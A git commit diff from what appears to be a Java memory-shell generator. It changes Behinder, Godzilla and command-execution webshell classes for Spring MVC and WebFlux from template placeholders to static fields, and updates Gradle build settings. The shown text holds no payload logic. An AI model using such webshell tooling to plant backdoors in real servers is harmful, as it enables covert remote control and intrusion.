fix: spring shell generate error

This commit is contained in:
ReaJason
2025-01-03 00:43:03 +08:00
parent 2da2e180cb
commit 393693b89b
14 changed files with 44 additions and 38 deletions
@@ -17,9 +17,9 @@ import java.util.Map;
* @since 2024/12/22
*/
public class BehinderControllerHandler extends ClassLoader implements Controller {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String pass;
public static String headerName;
public static String headerValue;
@SuppressWarnings("all")
public Class<?> g(byte[] b) {
@@ -17,9 +17,9 @@ import java.util.Map;
* @since 2024/12/22
*/
public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String pass;
public static String headerName;
public static String headerValue;
@SuppressWarnings("all")
public Class<?> g(byte[] b) {
@@ -13,7 +13,7 @@ import java.io.InputStream;
* @since 2024/12/22
*/
public class CommandControllerHandler implements Controller {
public String paramName = "{{paramName}}";
public static String paramName;
public CommandControllerHandler() {
@@ -13,7 +13,7 @@ import java.io.InputStream;
* @since 2024/12/22
*/
public class CommandInterceptor implements AsyncHandlerInterceptor {
public String paramName = "{{paramName}}";
public static String paramName;
public CommandInterceptor() {
@@ -15,11 +15,11 @@ import java.io.ByteArrayOutputStream;
* @since 2024/12/22
*/
public class GodzillaControllerHandler extends ClassLoader implements Controller {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public GodzillaControllerHandler() {
}
@@ -15,11 +15,11 @@ import java.io.ByteArrayOutputStream;
* @since 2024/12/22
*/
public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public GodzillaInterceptor(ClassLoader c) {
super(c);
@@ -14,7 +14,7 @@ import java.util.Optional;
* @since 2024/12/25
*/
public class CommandHandlerFunction implements HandlerFunction<ServerResponse> {
public String paramName = "{{paramName}}";
public static String paramName;
@Override
public Mono<ServerResponse> handle(ServerRequest request) {
@@ -11,7 +11,7 @@ import java.io.InputStreamReader;
* @since 2024/12/25
*/
public class CommandHandlerMethod {
public String paramName = "{{paramName}}";
public static String paramName;
public CommandHandlerMethod() {
}
@@ -16,7 +16,7 @@ import java.nio.charset.StandardCharsets;
* @since 2024/12/25
*/
public class CommandWebFilter extends ClassLoader implements WebFilter {
public String paramName = "{{paramName}}";
public static String paramName;
@Override
public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
@@ -14,11 +14,11 @@ import java.io.ByteArrayOutputStream;
* @since 2024/12/25
*/
public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunction<ServerResponse> {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public Class<?> payload;
public GodzillaHandlerFunction() {
@@ -13,11 +13,11 @@ import java.io.ByteArrayOutputStream;
* @since 2024/12/25
*/
public class GodzillaHandlerMethod extends ClassLoader {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public Class<?> payload;
public GodzillaHandlerMethod() {
@@ -18,11 +18,11 @@ import java.nio.charset.StandardCharsets;
* @since 2024/12/25
*/
public class GodzillaWebFilter extends ClassLoader implements WebFilter {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public Class<?> payload;
public GodzillaWebFilter() {
+4 -1
View File
@@ -6,7 +6,10 @@ plugins {
group = 'com.reajason.javaweb.vul'
version = ''
sourceCompatibility = '1.8'
java {
sourceCompatibility = JavaVersion.VERSION_1_8
}
dependencies {
implementation 'org.springframework.boot:spring-boot-starter-webflux'
+4 -1
View File
@@ -7,7 +7,10 @@ plugins {
group = 'com.reajason.javaweb.vul'
version = ''
sourceCompatibility = '1.8'
java {
sourceCompatibility = JavaVersion.VERSION_1_8
}
repositories {
mavenCentral()